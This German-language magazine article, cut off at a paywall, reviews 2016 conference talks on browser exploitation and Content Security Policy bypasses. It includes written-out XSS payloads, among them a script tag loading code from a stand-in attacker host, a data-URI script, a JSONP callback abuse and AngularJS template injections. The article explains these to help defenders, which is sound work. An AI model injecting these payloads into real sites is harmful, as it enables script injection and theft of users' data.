© best_vector/Shutterstock.com
Neue Angriffsbeispiele von den Sicherheitskonferenzen

Websecurity 2016: Browser und Webclient


Auf fast jeder Sicherheitskonferenz, auf der es thematisch passt, gibt es Vorträge zu neuen und/oder verbesserten Angriffen auf Webclient, Webanwendung, Webserver oder Webbrowser. Grund genug, sich die interessantesten Beispiele genauer anzuschauen.

Dass oben genannte Angriffe mit dieser Regelmäßigkeit vorgestellt und besprochen werden, ist kein Wunder. Denn im Prinzip hat alles, was ein „Web“ vorne stehen hat, zwei große Nachteile: Angreifer können es im Allgemeinen leicht erreichen, und es gibt dort sowohl Möglichkeiten zum Einschleusen von Code als auch interessante Informationen auszuspähen. Übrigens gilt das auch für Webentwickler und Webadministratoren – deren Serverzugangsdaten sind für Angreifer interessant, denn damit können sie auf selbige zugreifen und sie z. B. für Drive-by-Infektionen präparieren, ohne auf eine Schwachstelle in irgendeiner Software angewiesen zu sein. Wenn die Entwickler zusätzlich auch noch Mobile-Apps entwickeln, können bei ihnen ja vielleicht auch die privaten Schlüssel zum Signieren der Apps ausgespäht werden – quasi als Gratiszugabe. Aber kommen wir zu den auf den Sicherheitskonferenzen vorgestellten Angriffen und Schwachstellen. In dieser Ausgabe dreht sich alles um Webclient und -browser.

State of the Art der Browser-Exploitation

Drive-by-Infektionen sind schon seit einigen Jahren der bevorzugte Weg von Cyberkriminellen für die Kompromittierung von Clientrechnern [1]. Präparierte Webseiten enthalten Code, der Schwachstellen im Browser und seinen Plug-ins ausnutzt, um Schadsoftware auf den Rechner zu schleusen. Am besten verhindert man solche Angriffe, indem man immer aktuelle Softwareversionen verwendet, in denen alle bekannten Schwachstellen behoben sind. Leider kommen auch immer wieder Angriffe mit 0-Day-Exploits vor, also Angriffe auf Schwachstellen, die vorher nicht bekannt waren und für die es daher auch keinen Patch gibt. Als zweite Verteidigungslinie gibt es daher die Mitigations wie DEP und ASLR, die das Einschleusen von Code erschweren, und Sandboxen, die den trotzdem eingeschleusten Code so weit wie möglich an der Ausbreitung hindern.

Im Rahmen der seit 2007 jährlich stattfindenden Pwn2Own-Wettbewerbe demonstrieren die Sicherheitsforscher immer wieder, dass es trotz all der Mitigations und Schutzmaßnahmen möglich ist, Rechner über Schwachstellen in den Browsern und Standard-Plug-ins erfolgreich zu kompromittieren. Was dann in der Folge dazu führt, dass die Mitigations und Schutzmaßnahmen angepasst und erweitert sowie um neue ergänzt werden. Woraufhin die Forscher dann wieder neue Angriffe entwickeln, sodass das Spiel erneut beginnt.

Matt Molinyawe, Jasiel Spelman, Abdul-Aziz Hariri und Joshua Smith haben auf der Black Hat USA 2016 erklärt, wie den acht siegreichen Teilnehmern des 2016er Pwn2Own-Wettbewerbs die Kompromittierung der Rechner gelungen ist [2]. Ihr Fazit aus den erfolgreichen Angriffen: Das Einsperren der Anwendungen (und teilweise auch der Plug-ins) in Sandboxen ist ein Schritt in die richtige Richtung. Und zwar obwohl der Schadcode daraus ausbrechen kann, was meist über Schwachstellen im Betriebssystem geschieht. Weshalb neue Mitigations benötigt werden, die den Zugriff auf den Kernel aus der Sandbox heraus verhindern bzw. erschweren.

Drive-by-Infektionen sind die größte Gefahr, aber auch Angriffe auf die Webclients sollte man nicht unterschätzen – auch wenn die bisher im Vergleich zu den Drive-by-Infektionen äußerst selten vorkommen. Ein ideales Einfallstor für Angriffe auf den Webclient sind XSS-Schwachstellen. Dabei läuft eingeschleuster JavaScript-Schadcode im Kontext der Webanwendung und darf auf alle Daten und Funktionen des Webclients zugreifen.

Die CSP ist sicher – oder auch nicht

Außer der einfachen Lösung, gar keine XSS-Schwachstellen in der Webanwendung zu haben, gibt es auch Ansätze, die die Folgen eines XSS-Angriffs minimieren sollen. Einer davon ist die Content Security Policy (CSP). Aber auch die lässt sich umgehen, wie Michele Spagnuolo und Lukas Weichselbaum von Googles Securityteam auf der „Hack in the Box“ Amsterdam 2016 gezeigt haben [3].

Die Untersuchungen konzentrierten sich auf die Direktive script-src, über die das Einschleusen von Schadcode erschwert werden soll. Nur von den darin festgelegten Orten darf JavaScript-Code geladen werden. Leider funktioniert das oft nicht so wie eigentlich gedacht. Zum einen kommt es immer wieder zu Fehlkonfigurationen, die die Schutzwirkung aufheben. So lässt sich z. B. die Konfiguration

script-src 'self' https: data: *; object-src 'none';

durch die URL-Schemata in script-src durch

">'><script src=https://attacker.com/evil.js></script>

oder

">'><script src=data:text/javascript,alert(1337)></script>

umgehen. Zum anderen gibt es verschiedene Möglichkeiten, auch eine theoretisch sichere Konfiguration zu umgehen. Enthält z. B. eine Whitelist JSONP-Endpunkte wie hier:

script-src 'self' https://whitelisted.com ; object-src 'none';

ist ein Angriff über

">'><script src="https://whitelisted.com/jsonp?callback=alert">

möglich. Generell ist JSONP problematisch, sodass JSONP-Endpunkte nicht auf der Whitelist stehen sollten. Da sie aber oft benötigt werden, z. B. von Content Delivery Networks (CDN), ist das meist nicht möglich. Auch eine Whitelist, die eine AngularJS-Library enthält, wie z. B.

script-src 'self' https://whitelisted.com ; object-src 'none';

lässt sich umgehen, z. B. mittels

"><script src="https://whitelisted.com/angular.min.js"></script> <div ng-app ng-csp>{{1336 + 1}}</div>

oder

"><script src="https://whitelisted.com/angularjs/1.1.3/angular.min.js"></script> <div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>

AngularJS ist generell ein Problem, weshalb Sie die CSP nicht in Verbindung mit CDNs, die AngularJS hosten, verwenden sollten. Oder auch generell nicht in Verbindung mit CDNs, denn es gibt noch viele weitere Möglichkeiten, die CSP darüber zu umgehen [4]. Mit Googles „CSP Evaluator“ [5] können Sie prüfen, ob ihre CSP von Konfigurationsfehlern oder Schwachstellen betroffen ist.

Zur weiteren Absicherung der CSP kann eine strikt Nonce-basierte Policy eingesetzt werden, die seit CSP2 unterstützt wird: Über die CSP wird an den Browser ein Nonce-Wert übergeben, und nur Script-Tags, die den korrekten Nonc...

Neugierig geworden? Wir haben diese Angebote für dich:

Angebote für Gewinner-Teams

Wir bieten Lizenz-Lösungen für Teams jeder Größe: Finden Sie heraus, welche Lösung am besten zu Ihnen passt.

Das Library-Modell:
IP-Zugang

Das Company-Modell:
Domain-Zugang